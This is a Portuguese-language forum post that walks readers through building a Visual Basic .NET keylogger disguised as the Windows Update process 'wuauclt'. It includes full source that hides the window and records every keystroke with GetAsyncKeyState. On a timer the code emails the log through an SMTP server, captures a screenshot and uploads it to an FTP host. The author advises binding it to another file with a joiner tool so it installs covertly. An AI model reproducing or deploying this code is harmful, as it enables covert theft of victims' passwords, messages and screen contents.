Primeiro crie um projeto com o nome wuaucllt. Por que esse nome estranho? Ele é para ser confundido com o processo wuauclt (Windows Update).
Criado o projeto, coloque 2 timers e 1 textbox multiline:
Depois clique 2 vezes na form 1, ele vai abrir a pagina de código. Apague tudo e digite isto:
Vou explicar o código:
Agora as propriedades da form e dos 2 timers:
Form1:
FormBorderStyle = Fixed Single
Text = wuauclt
WindowsState = Minimized
ControlBox = False
Timer1:
Enabled = True
Interval = 1
Timer2:
Enabled = True
Interval = Você determina de quanto em quanto tempo o programa envia as informações (em milisegundos)
Depois é só usar o Fire Joiner, juntar o arquivo e vualá! Falta só eu achar o cod pro programa iniciar junto com windows, quando eu conseguir posto aqui!
Ajudou? Da obrigado!
Criado o projeto, coloque 2 timers e 1 textbox multiline:
Depois clique 2 vezes na form 1, ele vai abrir a pagina de código. Apague tudo e digite isto:
Código:
Imports System.Net.Mail Public Class Form1 Dim key As Integer Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load Me.hide End Sub Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick For i = 1 To 255 key = 0 key = GetAsyncKeyState(i) If key = -32767 Then TextBox1.Text = TextBox1.Text + Chr(i) End If Next i End Sub Private Sub Timer2_Tick(sender As System.Object, e As System.EventArgs) Handles Timer2.Tick Dim Mail As New MailMessage Mail.Subject = "Keylogger" & System.Environment.UserName Mail.To.Add("email que irá receber os dados") Mail.From = New MailAddress("keylloger@hotmail.com") Mail.Body = TextBox1.Text Dim SMTP As New SmtpClient("smtp.live.com") SMTP.EnableSsl = True SMTP.Credentials = New System.Net.NetworkCredential("seu email", "sua senha") ' para poder entrar em seu e-mail e mandar os dados para o outro e-mail SMTP.Port = "587" SMTP.Send(Mail) TextBox1.Text = "" TextBox1.Text = TimeOfDay SendKeys.SendWait("^({PRTSC})") My.Computer.Clipboard.GetImage.Save("C:\form.jpg") My.Computer.Network.UploadFile("C:\form.jpg", "ftp://ftp.xpg.com.br/files/" & "form.jpg", "***", "****", False, 500) End Sub End Class
Agora as propriedades da form e dos 2 timers:
Form1:
FormBorderStyle = Fixed Single
Text = wuauclt
WindowsState = Minimized
ControlBox = False
Timer1:
Enabled = True
Interval = 1
Timer2:
Enabled = True
Interval = Você determina de quanto em quanto tempo o programa envia as informações (em milisegundos)
Depois é só usar o Fire Joiner, juntar o arquivo e vualá! Falta só eu achar o cod pro programa iniciar junto com windows, quando eu conseguir posto aqui!
Ajudou? Da obrigado!
Comment